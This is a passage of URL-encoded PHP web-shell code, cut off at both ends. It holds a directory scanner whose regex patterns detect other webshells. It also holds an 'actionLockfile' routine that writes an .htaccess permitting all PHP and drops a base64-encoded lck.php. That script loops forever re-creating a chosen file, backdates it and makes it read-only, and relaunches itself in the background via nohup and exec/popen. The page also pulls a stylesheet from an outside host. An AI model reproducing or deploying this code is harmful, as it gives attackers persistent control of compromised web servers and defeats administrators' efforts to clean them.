%255D%2529%2520%253F%2520%2524%255fPOST%255B%2522types%2522%255D%2520%253A%2520%255B%2522php%2522%2520%253D%253E%2520%2522.php%2522%255D%253B%2520echo%2520%2527%253Clink%2520rel%253D%2522stylesheet%2522%2520href%253D%2522%252F%252Fxnxx.co.ws%252Fmeki.css%2522%253E%253Ccenter%253E%253Cbr%2520%252F%253E%253Cform%2520method%253D%2522POST%2522%253E%2527%253B%2520echo%2520%2527%253Ctable%2520class%253D%2522tables%2522%253E%253Ctr%253E%253Cth%253EName%253C%252Fth%253E%253Cth%253ESetup%253C%252Fth%253E%253C%252Ftr%253E%2527%253B%2520echo%2520%2527%253Ctr%253E%253Cth%253EScan%2520path%253C%252Fth%253E%253Cth%253E%253Cinput%2520type%253D%2522text%2522%2520class%253D%2522form-control%2520btn-sm%2522%2520name%253D%2522dir%2522%2520required%2520value%253D%2522%2527%2520.%2520htmlspecialchars%2528%2524scandir%2529%2520.%2520%2527%2522%2520style%253D%2522width%253A345px%253B%2522%253E%2520%2528Regular%2520matching%2529%253C%252Fth%253E%253C%252Ftr%253E%2527%253B%2520echo%2520%2522%253Ctr%253E%253Cth%253EType%2520of%2520killing%253C%252Fth%253E%253Cth%253E%2522%253B%2520%2524types%2520%253D%2520%255B%2520%2522php%2522%2520%253D%253E%2520%2522.php%257C.phtml%257C.PhP%257C.php5%257C.pHp%257C.phar%257C.php7%257C.php8%257C.php6%257C.php4%2522%252C%2520%2522asp%252Baspx%2522%2520%253D%253E%2520%2522.as%257C.cs%257C.cer%2522%252C%2520%2522jsp%2522%2520%253D%253E%2520%2522.jsp%2522%252C%2520%255D%253B%2520foreach%2520%2528%2524types%2520as%2520%2524key%2520%253D%253E%2520%2524ex%2529%2520%257B%2520echo%2520%2527%253Clabel%2520title%253D%2522%2527%2520.%2520%2524ex%2520.%2520%2527%2522%253E%253Cinput%2520type%253D%2522checkbox%2522%2520name%253D%2522types%255B%2527%2520.%2520%2524key%2520.%2520%2527%255D%2522%2520value%253D%2522%2527%2520.%2520%2524ex%2520.%2520%2527%2522%2527%2520.%2520%2528%2524typearr%255B%2524key%255D%2520%253D%253D%2520%2524ex%2520%253F%2520%2522%2520checked%2522%2520%253A%2520%2522%2522%2529%2520.%2520%2522%253E%2522%2520.%2520%2524key%2520.%2520%2522%253C%252Flabel%253E%2522%253B%2520%257D%2520echo%2520%2527%253C%252Fth%253E%253C%252Ftr%253E%253Ctr%253E%253Cth%253EAction%253C%252Fth%253E%253Cth%253E%253Cdiv%2520class%253D%2522d-grid%2520gap-2%2522%253E%253Cinput%2520class%253D%2522btn%2520btn-dark%2520btn-sm%2522%2520type%253D%2522submit%2522%2520name%253D%2522wa%2522%2520value%253D%2522Go%2522%253E%253C%252Fdiv%253E%253C%252Fth%253E%253C%252Ftr%253E%2527%253B%2520echo%2520%2522%253C%252Fform%253E%253C%252Fcenter%253E%2522%253B%2520if%2528!empty%2528%2524%255fPOST%255B%2527types%2527%255D%2529%2529%257B%2520echo%2520%2527%253C%252Ftable%253E%253Ctable%2520class%253D%2522tables%2522%253E%253Ctr%253E%253Cth%253ECode%253C%252Fth%253E%253Cth%253EPATH%253C%252Fth%253E%253Cth%253EOptions%253C%252Fth%253E%253C%252Ftr%253E%2527%253B%2520if%2520%2528is%255fcountable%2528%2524%255fPOST%255B%2522types%2522%255D%2529%2520%2526%2526%2520count%2528%2524%255fPOST%255B%2522types%2522%255D%2529%2520%253E%25200%2529%2520%257B%2520%2524matches%2520%253D%2520%255B%2520%2522php%2522%2520%253D%253E%2520%255B%2520%2527%252Frawurldecode%257Cgzinflate%257Cgzdeflate%257Cstr%255frot13%257Cuhex%257Chex%257Cbin2hex%257Chex2bin%257Cbase64%255C%255C%255fdecode%257Cstream%255C%255C%255fget%255C%255C%255fmeta%255C%255C%255fdata%257Cfunction%255C%255C%255fexists%255C%255Cs%252a%255C%255C%2528%255C%255Cs%252a%255B%255C%2527%257C%255C%255C%2522%255D%2528popen%257Cexec%257Cproc%255C%255C%255fopen%257Csystem%257Cpassthru%2529%252B%255B%255C%2527%257C%255C%255C%2522%255D%255C%255Cs%252a%255C%255C%2529%252Fi%2527%252C%2520%2527%252F%2528rawurldecode%257Cgzinflate%257Cgzdeflate%257Cstr%255frot13%257Cuhex%257Chex%257Cbin2hex%257Chex2bin%257Cbase64%255C%255C%255fdecode%257Cstream%255C%255C%255fget%255C%255C%255fmeta%255C%255C%255fdata%257Cexec%257Cshell%255C%255C%255fexec%257Csystem%257Cpassthru%2529%252B%255C%255Cs%252a%255C%255C%2528%255C%255Cs%252a%255C%255C%2524%255C%255C%255f%2528GET%257CPOST%257CCOOKIE%257CSERVER%257CSESSION%2529%252B%255C%255C%255B%2528.%252a%2529%255C%255C%255D%255C%255Cs%252a%255C%255C%2529%252Fi%2527%252C%2520%2522%252F%2528udp%255C%255C%253A%255C%255C%252F%255C%255C%252F%2528.%252a%2529%255C%255C%253B%2529%252B%252Fi%2522%252C%2520%2527%252Fpreg%255C%255C%255freplace%255C%255Cs%252a%255C%255C%2528%2528.%252a%2529%255C%255C%252Fe%2528.%252a%2529%255C%255C%252C%255C%255Cs%252a%255C%255C%2524%255C%255C%255f%2528.%252a%2529%255C%255C%252C%2528.%252a%2529%255C%255C%2529%252Fi%2527%252C%2520%2527%252Fpreg%255C%255C%255freplace%255C%255Cs%252a%255C%255C%2528%2528.%252a%2529%255C%255C%2528base64%255C%255C%255fdecode%255C%255C%2528%255C%255C%2524%252Fi%2527%252C%2520%2522%252F%2528eval%257Cassert%257Cinclude%257Crequire%2529%252B%255C%255Cs%252a%255C%255C%2528%2528.%252a%2529%2528base64%255C%255C%255fdecode%257Cfile%255C%255C%255fget%255C%255C%255fcontents%257Cphp%255C%255C%253A%255C%255C%252F%255C%255C%252Finput%2529%252B%252Fi%2522%252C%2520%2527%252F%2528rawurldecode%257Cgzinflate%257Cgzdeflate%257Cstr%255frot13%257Cuhex%257Chex%257Cbin2hex%257Chex2bin%257Cbase64%255C%255C%255fdecode%257Cstream%255C%255C%255fget%255C%255C%255fmeta%255C%255C%255fdata%257Ceval%257Cassert%257Cinclude%257Crequire%257Carray%255C%255C%255fmap%2529%252B%255C%255Cs%252a%255C%255C%2528%255C%255Cs%252a%255C%255C%2524%255C%255C%255f%2528GET%257CPOST%257CCOOKIE%257CSERVER%257CSESSION%2529%252B%255C%255C%255B%2528.%252a%2529%255C%255C%255D%255C%255Cs%252a%255C%255C%2529%252Fi%2527%252C%2520%2527%252F%255C%255C%2524%255C%255C%255f%2528GET%257CPOST%257CCOOKIE%257CSERVER%257CSESSION%2529%252B%2528.%252a%2529%2528eval%257Cassert%257Cinclude%257Crequire%2529%252B%255C%255Cs%252a%255C%255C%2528%255C%255Cs%252a%255C%255C%2524%2528%255C%255Cw%252B%2529%255C%255Cs%252a%255C%255C%2529%252Fi%2527%252C%2520%2527%252F%255C%255C%2524%255C%255C%255f%2528GET%257CPOST%257CCOOKIE%257CSERVER%257CSESSION%2529%252B%255C%255C%255B%2528.%252a%2529%255C%255C%255D%255C%255C%2528%255C%255Cs%252a%255C%255C%2524%2528.%252a%2529%255C%255C%2529%252Fi%2527%252C%2520%2527%252F%255C%255C%2528%255C%255Cs%252a%255C%255C%2524%255C%255C%255fFILES%255C%255C%255B%2528.%252a%2529%255C%255C%255D%255C%255C%255B%2528.%252a%2529%255C%255C%255D%255C%255Cs%252a%255C%255C%252C%255C%255Cs%252a%255C%255C%2524%255C%255C%255fFILES%255C%255C%255B%2528.%252a%2529%255C%255C%255D%255C%255C%255B%2528.%252a%2529%255C%255C%255D%255C%255Cs%252a%255C%255C%2529%252Fi%2527%252C%2520%2527%252F%2528rawurldecode%257Cgzinflate%257Cgzdeflate%257Cstr%255frot13%257Cuhex%257Chex%257Cbin2hex%257Chex2bin%257Cbase64%255C%255C%255fdecode%257Cstream%255C%255C%255fget%255C%255C%255fmeta%255C%255C%255fdata%257Cfopen%257Cfwrite%257Cfpust%257Cfile%255C%255C%255fput%255C%255C%255fcontents%2529%252B%255C%255Cs%252a%255C%255C%2528%2528.%252a%2529%255C%255C%2524%255C%255C%255f%2528GET%257CPOST%257CCOOKIE%257CSERVER%257CSESSION%2529%252B%255C%255C%255B%2528.%252a%2529%255C%255C%255D%2528.%252a%2529%255C%255C%2529%252Fi%2527%252C%2520%2527%252Fecho%255C%255Cs%252acurl%255C%255C%255fexec%255C%255Cs%252a%255C%255C%2528%255C%255Cs%252a%255C%255C%2524%2528%255C%255Cw%252B%2529%255C%255Cs%252a%255C%255C%2529%252Fi%2527%252C%2520%2527%252Fnew%2520com%255C%255Cs%252a%255C%255C%2528%255C%255Cs%252a%255B%255C%2527%257C%255C%255C%2522%255Dshell%2528.%252a%2529%255B%255C%2527%257C%255C%255C%2522%255D%255C%255Cs%252a%255C%255C%2529%252Fi%2527%252C%2520%2527%252F%255C%255C%2524%2528.%252a%2529%255C%255Cs%252a%255C%255C%2528%2528.%252a%2529%255C%255C%252Fe%2528.%252a%2529%255C%255C%252C%255C%255Cs%252a%255C%255C%2524%255C%255C%255f%2528.%252a%2529%255C%255C%252C%2528.%252a%2529%255C%255C%2529%252Fi%2527%252C%2520%2527%252F%255C%255C%2524%255C%255C%255f%255C%255C%253D%2528.%252a%2529%255C%255C%2524%255C%255C%255f%252Fi%2527%252C%2520%255D%252C%2520%2522asp%252Baspx%2522%2520%253D%253E%2520%255B%2520%2522%252F%2528VBScript%255C%255C.Encode%257CWScript%255C%255C.shell%257CShell%255C%255C.Application%257CScripting%255C%255C.FileSystemObject%2529%252B%252Fi%2522%252C%2520%2522%252F%2528eval%257Cexecute%2529%252B%2528.%252a%2529%2528request%257Csession%2529%252B%255C%255Cs%252a%255C%255C%2528%2528.%252a%2529%255C%255C%2529%252Fi%2522%252C%2520%2522%252F%2528eval%257Cexecute%2529%252B%2528.%252a%2529request.item%255C%255Cs%252a%255C%255C%255B%2528.%252a%2529%255C%255C%255D%252Fi%2522%252C%2520%2522%252Frequest%255C%255Cs%252a%255C%255C%2528%2528.%252a%2529%255C%255C%2529%2528.%252a%2529%2528eval%257Cexecute%2529%252B%255C%255Cs%252a%255C%255C%2528%2528.%252a%2529%255C%255C%2529%252Fi%2522%252C%2520%2522%252F%255C%255C%253Cscript%255C%255Cs%252arunat%255C%255Cs%252a%255C%255C%253D%2528.%252a%2529server%2528.%252a%2529%255C%255C%253E%2528.%252a%2529%255C%255C%253C%255C%255C%252Fscript%255C%255C%253E%252Fi%2522%252C%2520%2522%252FLoad%255C%255Cs%252a%255C%255C%2528%2528.%252a%2529Request%252Fi%2522%252C%2520%2522%252FStreamWriter%255C%255C%2528Server%255C%255C.MapPath%2528.%252a%2529%255C%255C.Write%255C%255C%2528Request%252Fi%2522%252C%2520%255D%252C%2520%2522jsp%2522%2520%253D%253E%2520%255B%2520%2522%252F%2528eval%257Cexecute%2529%252B%2528.%252a%2529%2528request%257Csession%2529%252B%255C%255Cs%252a%255C%255C%2528%2528.%252a%2529%255C%255C%2529%252Fi%2522%252C%2520%2522%252F%2528eval%257Cexecute%2529%252B%2528.%252a%2529request.item%255C%255Cs%252a%255C%255C%255B%2528.%252a%2529%255C%255C%255D%252Fi%2522%252C%2520%2522%252Frequest%255C%255Cs%252a%255C%255C%2528%2528.%252a%2529%255C%255C%2529%2528.%252a%2529%2528eval%257Cexecute%2529%252B%255C%255Cs%252a%255C%255C%2528%2528.%252a%2529%255C%255C%2529%252Fi%2522%252C%2520%2522%252FRuntime%255C%255C.getRuntime%255C%255C%2528%255C%255C%2529%255C%255C.exec%255C%255C%2528%2528.%252a%2529%255C%255C%2529%252Fi%2522%252C%2520%2522%252FFileOutputStream%255C%255C%2528application%255C%255C.getRealPath%2528.%252a%2529request%252Fi%2522%252C%2520%255D%252C%2520%255D%253B%2520flush%2528%2529%253B%2520ob%255fflush%2528%2529%253B%2520%2524isread%2520%253D%2520antivirus%2528%2520strdir%2528%2524scandir%2520.%2520%2522%252F%2522%2529%252C%2520%2524typearr%252C%2520%2524matches%252C%2520%2524nowdir%2520%2529%253B%2520echo%2520%2528%2524isread%2520%253F%2520%2522%253Cbr%253EScan%2520Complete%2522%2520%253A%2520%2522%253Cbr%253EScan%2520Failed%2522%2529%253B%2520%257D%2520%257D%2520%257D%2520function%2520antivirus%2528%2524dir%252C%2520%2524exs%252C%2520%2524matches%252C%2520%2524now%2529%2520%257B%2520%2524handle%2520%253D%2520opendir%2528%2524dir%2529%253B%2520if%2520%2528!%2524handle%2529%2520%257B%2520return%2520false%253B%2520%257D%2520while%2520%2528%2524name%2520%253D%2520readdir%2528%2524handle%2529%2529%2520%257B%2520if%2520%2528%2524name%2520%253D%253D%2520%2522.%2522%2520%257C%257C%2520%2524name%2520%253D%253D%2520%2522..%2522%2529%2520%257B%2520continue%253B%2520%257D%2520%2524path%2520%253D%2520%2524dir%2520.%2520%2524name%253B%2520if%2520%2528is%255fdir%2528%2524path%2529%2529%2520%257B%2520if%2520%2528is%255freadable%2528%2524path%2529%2529%2520%257B%2520antivirus%2528%2524path%2520.%2520%2522%252F%2522%252C%2520%2524exs%252C%2520%2524matches%252C%2520%2524now%2529%253B%2520%257D%2520%257D%2520else%2520%257B%2520%2524iskill%2520%253D%2520null%253B%2520foreach%2520%2528%2524exs%2520as%2520%2524key%2520%253D%253E%2520%2524ex%2529%2520%257B%2520if%2520%2528find%2528explode%2528%2522%257C%2522%252C%2520%2524ex%2529%252C%2520%2524name%2529%2529%2520%257B%2520%2524iskill%2520%253D%2520%2524key%253B%2520break%253B%2520%257D%2520%257D%2520if%2520%2528strpos%2528size%2528filesize%2528%2524path%2529%2529%252C%2520%2522M%2522%2529%2529%2520%257B%2520continue%253B%2520%257D%2520if%2520%2528%2524iskill%2529%2520%257B%2520%2524code%2520%253D%2520filer%2528%2524path%2529%253B%2520foreach%2520%2528%2524matches%255B%2524iskill%255D%2520as%2520%2524matche%2529%2520%257B%2520%2524array%2520%253D%2520%255B%255D%253B%2520preg%255fmatch%2528%2524matche%252C%2520%2524code%252C%2520%2524array%2529%253B%2520if%2520%2528%2520strpos%2528%2524array%255B0%255D%252C%2520%2527%2524this-%253E%2527%2529%2520%257C%257C%2520strpos%2528%2524array%255B0%255D%252C%2520%2527%255B%2524vars%255B%2527%2529%2520%2529%2520%257B%2520continue%253B%2520%257D%2520%2524len%2520%253D%2520strlen%2528%2524array%255B0%255D%2529%253B%2520if%2520%2528%2524len%2520%253E%252010%2520%2526%2526%2520%2524len%2520%253C%2520150%2529%2520%257B%2520%2524file%2520%253D%2520strtr%2528%2524path%252C%2520%255B%2520%2524now%2520%253D%253E%2520%2522%2522%252C%2520%2527%255C%2527%2527%2520%253D%253E%2520%2522%252527%2522%252C%2520%2527%2522%2527%2520%253D%253E%2520%2522%252522%2522%252C%2520%255D%2529%253B%2520echo%2520%2527%253Ctr%253E%253Cth%253E%2527.htmlspecialchars%2528%2524array%255B0%255D%2529.%2527%253C%252Fth%253E%253Cth%253E%2527.%2524path.%2527%253C%252Fth%253E%253Cth%253E%253Ca%2520href%253D%2522%253Fpage%253D%2527.%2524path.%2527%2522%253EView%253C%252Fa%253E%2520%257C%2520%253Ca%2520href%253D%2522%253Funlink%253D%2527.%2524path.%2527%2522%253EDelete%253C%252Fa%253E%253C%252Fth%253E%253C%252Ftr%253E%2527%2520.%2520flush%2528%2529%253B%2520ob%255fflush%2528%2529%253B%2520break%253B%2520%257D%2520%257D%2520unset%2528%2524code%252C%2520%2524array%2529%253B%2520%257D%2520%257D%2520%257D%2520closedir%2528%2524handle%2529%253B%2520return%2520true%253B%2520%257D%2520function%2520strdir%2528%2524str%2529%2520%257B%2520return%2520str%255freplace%2528%2520%255B%2522%255C%255C%2522%252C%2520%2522%252F%252F%2522%252C%2520%2522%252527%2522%252C%2520%2522%252522%2522%255D%252C%2520%255B%2522%252F%2522%252C%2520%2522%252F%2522%252C%2520%2527%255C%2527%2527%252C%2520%2527%2522%2527%255D%252C%2520chop%2528%2524str%2529%2520%2529%253B%2520%257D%2520function%2520find%2528%2524array%252C%2520%2524string%2529%2520%257B%2520foreach%2520%2528%2524array%2520as%2520%2524key%2529%2520%257B%2520if%2520%2528stristr%2528%2524string%252C%2520%2524key%2529%2529%2520%257B%2520return%2520true%253B%2520%257D%2520%257D%2520return%2520false%253B%2520%257D%2520function%2520size%2528%2524bytes%2529%2520%257B%2520if%2520%2528%2524bytes%2520%253C%25201024%2529%2520%257B%2520return%2520%2524bytes%2520.%2520%2522%2520B%2522%253B%2520%257D%2520%2524array%2520%253D%2520%255B%2522B%2522%252C%2520%2522K%2522%252C%2520%2522M%2522%252C%2520%2522G%2522%252C%2520%2522T%2522%255D%253B%2520%2524floor%2520%253D%2520floor%2528log%2528%2524bytes%2529%2520%252F%2520log%25281024%2529%2529%253B%2520return%2520sprintf%2528%2522%2525.2f%2520%2522%2520.%2520%2524array%255B%2524floor%255D%252C%2520%2524bytes%2520%252F%2520pow%25281024%252C%2520floor%2528%2524floor%2529%2529%2529%253B%2520%257D%2520function%2520filer%2528%2524filename%2529%2520%257B%2520%2524handle%2520%253D%2520fopen%2528%2524filename%252C%2520%2522r%2522%2529%253B%2520%2524filedata%2520%253D%2520fread%2528%2524handle%252C%2520filesize%2528%2524filename%2529%2529%253B%2520fclose%2528%2524handle%2529%253B%2520return%2520%2524filedata%253B%2520%257D%2520function%2520scandirr%2528%2529%257B%2520if%2528empty%2528%2524%255fPOST%255B%2527dir%2527%255D%2529%2529%257B%2520return%2520getcwd%2528%2529%253B%2520%257Delse%257B%2520return%2520%2524%255fPOST%255B%2527dir%2527%255D%253B%2520%257D%2520%257D%22%3B%20%24mass%20%3D%20fopen%28%24file%5fmass%2C%20%22w%22%29%3B%20fwrite%28%24mass%2C%20rawurldecode%28%24mass%5fscript%29%29%3B%20fclose%28%24mass%29%3B%20echo%20%22%3Cbr%3E%3Ccenter%3E%20%20%3Ciframe%20src%3D%27.tmp%2Fant.php%27%20width%3D%27900%27%20height%3D%27480%27%3E%3C%2Fiframe%3E%3C%2Fa%3E%22%3B%20echo%20%22%3C%2Fdiv%3E%22%3B%20hardFooter%28%29%3B%20%7D%20function%20actionLockfile%28%29%7B%20hardHeader%28%29%3B%20echo%20%22%3Ccenter%3E%3Ch1%3ELock%20File%20Permanently%3C%2Fh1%3E%3Cdiv%20class%3Dcontent%3E%3Cbr%3E%22%3B%20%40%24GLOBALS%5B%22tinh%22%5D%5B11%5D%28%22display%5ferrors%22%2C%200%29%3B%20%24cgi%5fdir%20%3D%20mkdir%28%22.tmp%22%2C%200755%29%3B%20chdir%28%22.tmp%22%29%3B%20%24cui%20%3D%20fopen%28%22%5Cx2E%5Cx68%5Cx74%5Cx61%5Cx63%5Cx63%5Cx65%5Cx73%5Cx73%22%2C%20%22w%22%29%3B%20fwrite%28%20%24cui%2C%20%24GLOBALS%5B%22tinh%22%5D%5B30%5D%28%20%22PEZpbGVzICoucGhwPgpBbGxvdyBmcm9tIGFsbAo8L0ZpbGVzPg%3D%3D%22%20%29%20%29%3B%20fclose%28%24cui%29%3B%20%24file%5fmass%20%3D%20%22lck.php%22%3B%20%24mass%5fscript%20%3D%20%22PGxpbmsgcmVsPSJzdHlsZXNoZWV0IiBocmVmPSIvL3hueHguY28ud3MvbWVraS5jc3MiPgo8dGl0bGU%2BTG9ja0ZpbGU8L3RpdGxlPgo8ZGl2IGNsYXNzPSdjYXJkIGNhcmQtYm9keSB0ZXh0LWRhcmsgaW5wdXQtZ3JvdXAgbWItMyc%2BCjxmb3JtIG1ldGhvZD0nUE9TVCc%2BIAogICAgPGkgY2xhc3M9J2JpIGJpLWZvbGRlcic%2BPC9pPiBQYXRoLXRvLWZpbGUgdSB3YW5uYSBsb2NrOgogICAgPGlucHV0IGNsYXNzPSdmb3JtLWNvbnRyb2wgYnRuLXNtJyB0eXBlPSd0ZXh0JyBuYW1lPSduYW1hZmlsZScgdmFsdWU9Jzw%2FPWdldGN3ZCgpLiIvIjs%2FPic%2BCiAgICA8ZGl2IGNsYXNzPSdkLWdyaWQgZ2FwLTInPgogICAgICAgIDxpbnB1dCBjbGFzcz0nYnRuIGJ0bi1kYXJrIGJ0bi1zbScgdHlwZT0nc3VibWl0JyBuYW1lPSdhd3cnIHZhbHVlPSdMT0NLICEnPgogICAgPC9kaXY%2BCjwvZm9ybT4KPC9kaXY%2BCjw%2FcGhwCiAgICAgICAgaWYgKGlzc2V0KCRfUE9TVFsiYXd3Il0pKSB7CiAgICAgICAgICAgIGxvY2tGaWxlKCRfUE9TVFsibmFtYWZpbGUiXSk7CiAgICAgICAgfQpmdW5jdGlvbiBsb2NrRmlsZSgkbmFtYWZpbGUpCnsKICAgIG9iX2dldF9mbHVzaCgpOwogICAgJGIwID0gJG5hbWFmaWxlOwogICAgJGJjID0gcmVhbHBhdGgoZGlybmFtZSgkYjApKTsKICAgIGZ1bmN0aW9uIENDKCkKICAgIHsKICAgICAgICBvYl9zdGFydCgpOwogICAgICAgIHBocGluZm8oMSk7CiAgICAgICAgJGViID0gb2JfZ2V0X2NvbnRlbnRzKCk7CiAgICAgICAgb2JfZW5kX2NsZWFuKCk7CiAgICAgICAgcHJlZ19tYXRjaCgiLy0tYmluZGlyPShbXiZdKykvc2kiLCAkZWIsICRmYSk7CiAgICAgICAgaWYgKGlzc2V0KCRmYVsxXSkgJiYgJGZhWzFdICE9ICIiKSB7CiAgICAgICAgICAgIHJldHVybiAkZmFbMV0gLiAiL3BocCI7CiAgICAgICAgfQogICAgICAgIHByZWdfbWF0Y2goIi8tLXByZWZpeD0oW14mXSspL3NpIiwgJGViLCAkZmEpOwogICAgICAgIGlmICghaXNzZXQoJGZhWzFdKSkgewogICAgICAgICAgICByZXR1cm4gInBocCI7CiAgICAgICAgfQogICAgICAgIHJldHVybiAkZmFbMV0gLiAiL2Jpbi9waHAiOwogICAgfQogICAgJEEyID0gY0MoKTsKICAgIGZ1bmN0aW9uIEY2KCkKICAgIHsKICAgICAgICAkRDggPSBwcmVnX21hdGNoKCIvY2xpL2kiLCBwaHBfc2FwaV9uYW1lKCkpID8gdHJ1ZSA6IGZhbHNlOwogICAgICAgIGlmICgkRDggPT09IGZhbHNlKSB7CiAgICAgICAgICAgIGlmIChpc3NldCgkX1NFUlZFUlsiYXJnYyJdKSAmJiAkX1NFUlZFUlsiYXJnYyJdID49IDIpIHsKICAgICAgICAgICAgICAgICREOCA9IHRydWU7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgaWYgKCREOCA9PT0gZmFsc2UpIHsKICAgICAgICAgICAgaWYgKCREOCAhPT0gYmFzZW5hbWUoJG5hbWFmaWxlKSkgewogICAgICAgICAgICAgICAgJEQ4ID0gdHJ1ZTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXR1cm4gJEQ4OwogICAgfQogICAgZnVuY3Rpb24gRkQoJEEwLCAkZTIgPSAicG9wZW4iKQogICAgewogICAgICAgICRiZSA9IGV4cGxvZGUoIiwiLCBpbmlfZ2V0KCJkaXNhYmxlX2Z1bmN0aW9ucyIpKTsKICAgICAgICAkZTggPSBbXTsKICAgICAgICBmb3JlYWNoICgkYmUgYXMgJENhKSB7CiAgICAgICAgICAgICRlOFtdID0gdHJpbSgkQ2EpOwogICAgICAgIH0KICAgICAgICBpZiAoaW5fYXJyYXkoJGUyLCAkZTgpKSB7CiAgICAgICAgICAgICRlMiA9ICJleGVjIjsKICAgICAgICB9CiAgICAgICAgaWYgKGluX2FycmF5KCRlMiwgJGU4KSkgewogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQogICAgICAgICRENSA9ICIiOwogICAgICAgIHN3aXRjaCAoJGUyKSB7CiAgICAgICAgICAgIGNhc2UgImV4ZWMiOgogICAgICAgICAgICAgICAgZXhlYygkQTAsICRhYik7CiAgICAgICAgICAgICAgICBmb3JlYWNoICgkYWIgYXMgJEE0ID0%2BICRkZikgewogICAgICAgICAgICAgICAgICAgICRENSAuPSAkQTQgLiAiIDogIiAuICRkZiAuIFBIUF9FT0w7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICByZXR1cm4gJEQ1OwogICAgICAgICAgICBjYXNlICJwb3BlbiI6CiAgICAgICAgICAgICAgICAkRDEgPSBwb3BlbigkQTAsICJyIik7CiAgICAgICAgICAgICAgICB3aGlsZSAoIWZlb2YoJEQxKSkgewogICAgICAgICAgICAgICAgICAgICRGNyA9IGZnZXRzKCREMSwgNDA5Nik7CiAgICAgICAgICAgICAgICAgICAgJEQ1IC49ICRGNzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIHBjbG9zZSgkRDEpOwogICAgICAgICAgICAgICAgcmV0dXJuICRENTsKICAgICAgICAgICAgZGVmYXVsdDoKICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgIH0KICAgIH0KICAgIGZ1bmN0aW9uIEZjKCkKICAgIHsKICAgICAgICAkYmUgPSBleHBsb2RlKCIsIiwgaW5pX2dldCgiZGlzYWJsZV9mdW5jdGlvbnMiKSk7CiAgICAgICAgJGU4ID0gW107CiAgICAgICAgZm9yZWFjaCAoJGJlIGFzICRDYSkgewogICAgICAgICAgICAkZThbXSA9IHRyaW0oJENhKTsKICAgICAgICB9CiAgICAgICAgaWYgKGluX2FycmF5KCJleGVjIiwgJGU4KSAmJiBpbl9hcnJheSgicG9wZW4iLCAkZTgpKSB7CiAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHRydWU7CiAgICB9CiAgICAkZWYgPSBiYXNlbmFtZSgkbmFtYWZpbGUpOwogICAgaWYgKEY2KCkgfHwgQCRfR0VUWyJvayJdICE9IG51bGwpIHsKICAgICAgICBta2RpcigkYmMsIDA3NTUsIHRydWUpOwogICAgICAgICRjZCA9ICRiYyAuICIvIiAuICRlZjsKICAgICAgICAkYWUgPSBmaWxlX2dldF9jb250ZW50cygkY2QpOwogICAgICAgICRiOCA9IGhhc2goInNoYTEiLCAkYWUpOwogICAgICAgIHdoaWxlICh0cnVlKSB7CiAgICAgICAgICAgIGlmICghZmlsZV9leGlzdHMoJGNkKSkgewogICAgICAgICAgICAgICAgQG1rZGlyKCRiYywgMDc1NSwgdHJ1ZSk7CiAgICAgICAgICAgICAgICBAY2htb2QoJGJjLCAwNzU1KTsKICAgICAgICAgICAgICAgIEBmaWxlX3B1dF9jb250ZW50cygkY2QsICRhZSk7CiAgICAgICAgICAgICAgICBAdG91Y2goJGNkLCBzdHJ0b3RpbWUoIi00MDAgZGF5cyIsIHRpbWUoKSkpOwogICAgICAgICAgICAgICAgQGNobW9kKCRjZCwgMDQ0NCk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJGQ4ID0gZmlsZV9nZXRfY29udGVudHMoJGNkKTsKICAgICAgICAgICAgJEJkID0gaGFzaCgic2hhMSIsICRkOCk7CiAgICAgICAgICAgIGlmICgKICAgICAgICAgICAgICAgICRCZCAhPSAkYjggfHwKICAgICAgICAgICAgICAgIHN1YnN0cihzcHJpbnRmKCIlbyIsIGZpbGVwZXJtcygkY2QpKSwgLTQpICE9ICIwNDQ0IiB8fAogICAgICAgICAgICAgICAgc3Vic3RyKHNwcmludGYoIiVvIiwgZmlsZXBlcm1zKCRiYykpLCAtNCkgIT0gIjA3NTUiCiAgICAgICAgICAgICkgewogICAgICAgICAgICAgICAgQG1rZGlyKCRiYywgMDc1NSwgdHJ1ZSk7CiAgICAgICAgICAgICAgICBAY2htb2QoJGJjLCAwNzU1KTsKICAgICAgICAgICAgICAgIEB1bmxpbmsoJGNkKTsKICAgICAgICAgICAgICAgIEBmaWxlX3B1dF9jb250ZW50cygkY2QsICRhZSk7CiAgICAgICAgICAgICAgICBAdG91Y2goJGNkLCBzdHJ0b3RpbWUoIi00MDAgZGF5cyIsIHRpbWUoKSkpOwogICAgICAgICAgICAgICAgQGNobW9kKCRjZCwgMDQ0NCk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgc2xlZXAoMSk7CiAgICAgICAgfQogICAgfQogICAgaWYgKEZDKCkgIT09IGZhbHNlKSB7CiAgICAgICAgZkQoIm5vaHVwIHskQTJ9ICIgLiAkYjAgLiAiID4vZGV2L251bGwgMj4mMSAmIik7CiAgICAgICAgaWYgKGZpbGVfZXhpc3RzKCRiMCkpIHsKICAgICAgICAgICAgZWNobyAiIjsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICBlY2hvICIiOwogICAgICAgIH0KICAgICAgICBleGl0KCk7CiAgICB9CiAgICBlY2hvICIiOwogICAgb2JfZW5kX2ZsdXNoKCk7CiAgICBvYl9lbmRfY2xlYW4oKTsKfQo%2FPg%3D%3D%22%3B%20%24mass%20%3D%20fopen%28%24file%5fmass%2C%20%22w%22%29%3B%20fwrite%28%24mass%2C%20%24GLOBALS%5B%22tinh%22%5D%5B30%5D%28%24mass%5fscript%29%29%3B%20fclose%28%24mass%29%3B%20echo%20%22%3Cbr%3E%3Ccenter%3E%20%20%3Ciframe%20src%3D%27.tmp%2Flck.php%27%20width%3D%27900%27%20height%3D%27480%27%3E%3C%2Fiframe%3E%3C%2Fa%3E%22%3B%20echo%20%22%3C%2Fdiv%3E%22%3B%20hardFooter%28%29%3B%20%7D%20function%20actionHt%28%29%20%7B%20hardHeader%28%29%3B%20echo%20%22%3Ccenter%3E%3Ch1%3EMass%20htcs%3C%2Fh1%3E%3Cdiv%20class%3Dcontent%3E%3Cbr%3E%22%3B%20%40%24GLOBALS%5B%22tinh%22%5D%5B11%5D%28%22display%5ferrors%22%2C%200%29%3B%20%24cgi%5fdir%20%3D%20mkdir%28%22.tm